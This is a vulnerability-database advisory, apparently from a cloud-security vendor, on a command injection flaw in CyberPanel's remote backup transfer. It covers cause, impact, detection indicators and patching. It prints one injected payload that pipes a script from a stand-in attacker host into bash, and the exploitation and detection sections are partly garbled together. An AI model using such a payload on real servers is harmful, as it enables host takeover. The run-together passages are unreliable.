
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-71966 is an authenticated OS command injection vulnerability in CyberPanel's remote backup transfer feature, classified under CWE-78. It affects CyberPanel version 2.4.3 and earlier, and was disclosed on August 10, 2026, with a fix committed in commit eca0c3c. The vulnerability carries a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 base score of 8.7 (High) (GitHub Advisory, Feedly).
The root cause is improper neutralization of special elements in OS commands (CWE-78) within CyberPanel's remoteBackup.py and backupManager.py modules. When a remote backup transfer is initiated, the application fetches a directory name from a remote server's API response and passes it unsanitized to OS command execution functions — bypassing security middleware validation. An authenticated attacker who controls a remote server can craft a malicious API response containing shell metacharacters (e.g., ;, &&, |) in the directory name field, causing arbitrary command execution on the CyberPanel host. The patch (commit eca0c3c) addresses this by adding shlex.quote() wrapping, alphanumeric validation via regex, path traversal checks, and ACLManager.commandInjectionCheck() calls on all user-controllable inputs (GitHub Commit, GitHub Advisory).
Successful exploitation allows an authenticated attacker to execute arbitrary OS commands on the CyberPanel server with the privileges of the CyberPanel service process, resulting in full compromise of confidentiality, integrity, and availability. An attacker could exfiltrate sensitive data (hosted websites, credentials, SSL certificates), modify or destroy files, install backdoors, or pivot to other systems on the same network. Because CyberPanel typically runs with elevated privileges to manage web hosting infrastructure, the blast radius of exploitation is significant (GitHub Advisory, Feedly).
The NVD SSVC assessment classifies exploitation status as "poc" (proof-of-concept exists), though no confirmed in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is approximately 2.08% (80th percentile), indicating a moderate near-term exploitation probability. No threat actor attribution or CISA KEV catalog listing has been identified. Exploitation requires valid CyberPanel credentials (low privilege) and the ability to control or spoof a remote backup server's API response (GitHub Advisory, Feedly).
transfer-1234; curl http://attacker.com/shell.sh | bash.remoteBackupRestore or localRestoreStatus) and executed by the server, running the injected payload with CyberPanel's process privileges./usr/local/CyberCP/logs/) showing backup transfer operations with unusual or non-numeric directory names containing shell metacharacters (;, |, &&, backticks); errors in backup log files referencing unexpected command output./bin/bash, curl, wget, python, nc) visible via ps aux or process monitoring tools./home/backup/, /tmp/, or web-accessible directories; new cron jobs or SSH authorized keys added to /root/.ssh/authorized_keys; web shells placed in CyberPanel's web root.The vendor has released a fix in commit eca0c3c of the CyberPanel repository; users should update to any version incorporating this commit or later. As an interim workaround for systems that cannot be immediately patched, restrict network access to the remote backup transfer feature and ensure only explicitly trusted, verified remote servers are configured as backup destinations. Additionally, review and audit existing remote backup destination configurations to remove any untrusted entries, and consider disabling the remote backup feature entirely until patching is complete (GitHub Advisory, GitHub Commit).
The vulnerability was assigned and disclosed by VulnCheck, which published an advisory detailing the authenticated command injection via the starRemoteTransfer functionality. A technical blog post by the researcher (themcsam) at themcsam.github.io documents the vulnerability alongside other CyberPanel 2.4.3 findings. No significant broader media coverage or notable social media discussion has been identified beyond these initial disclosures (GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."